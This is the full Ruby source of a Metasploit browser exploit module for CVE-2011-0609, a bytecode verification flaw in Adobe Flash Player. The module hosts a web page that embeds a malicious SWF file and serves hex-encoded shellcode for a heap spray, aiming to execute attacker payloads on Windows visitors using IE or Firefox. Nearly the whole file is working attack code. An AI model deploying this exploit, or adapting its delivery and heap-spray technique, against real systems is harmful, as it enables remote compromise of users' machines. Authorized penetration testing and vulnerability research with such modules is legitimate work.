Path: blob/master/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',15'Description' => %q{16This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.3317and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification18logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same19vulnerability that was used for the RSA attack in March 2011.2021Specifically, this issue results in uninitialized memory being referenced and later22executed. Taking advantage of this issue relies on heap spraying and controlling the23uninitialized memory.2425Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several26other browsers. DEP does catch the exploit and causes it to fail. Due to the nature27of the uninitialized memory its fairly difficult to get around this restriction.28},29'License' => MSF_LICENSE,30'Author' => [31'bannedit', # Metasploit version,32'Unknown' # Malcode version seen used in targeted attacks33],34'References' => [35['CVE', '2011-0609'],36['OSVDB', '71254'],37['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],38['URL', 'http://www.adobe.com/devnet/swf.html'],39['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],40['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],41],42'DefaultOptions' => {43'EXITFUNC' => 'process',44'HTTP::compression' => 'gzip',45'HTTP::chunked' => true,46'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'47},48'Payload' => {49'Space' => 1000,50'BadChars' => "\x00",51'DisableNops' => true52},53'Platform' => 'win',54'Targets' => [55[ 'Automatic', {}],56],57'DisclosureDate' => '2011-03-15',58'DefaultTarget' => 0,59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)66end6768def exploit69path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0609.swf")70fd = File.open(path, "rb")71@swf = fd.read(fd.stat.size)72fd.close7374super75end7677def on_request_uri(cli, request)78trigger = @swf79trigger_file = rand_text_alpha(rand(6) + 3) + ".swf"80shellcode = payload.encoded.unpack('H*')[0]81obj_id = rand_text_alpha(rand(6) + 3)8283if request.uri.match(/\.swf/i)84print_status("Sending Exploit SWF")85send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })86return87end8889# we use a nice trick by having Flash request our shellcode and load it for the heap spray90# src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as91if request.uri.match(/\.txt/i)92send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })93return94end9596html = <<-EOS97<html>98<head>99</head>100<body>101<center>102<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"103id="#{obj_id}" width="600" height="400"104codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">105<param name="movie" value="#{get_resource}#{trigger_file}" />106<embed src="#{get_resource}#{trigger_file}" quality="high"107width="320" height="300" name="#{obj_id}" align="middle"108allowNetworking="all"109type="application/x-shockwave-flash"110pluginspage="http://www.macromedia.com/go/getflashplayer">111</embed>112113</object>114</center>115116</body>117</html>118EOS119120print_status("Sending #{self.name} HTML")121send_response(cli, html, { 'Content-Type' => 'text/html' })122end123end124125126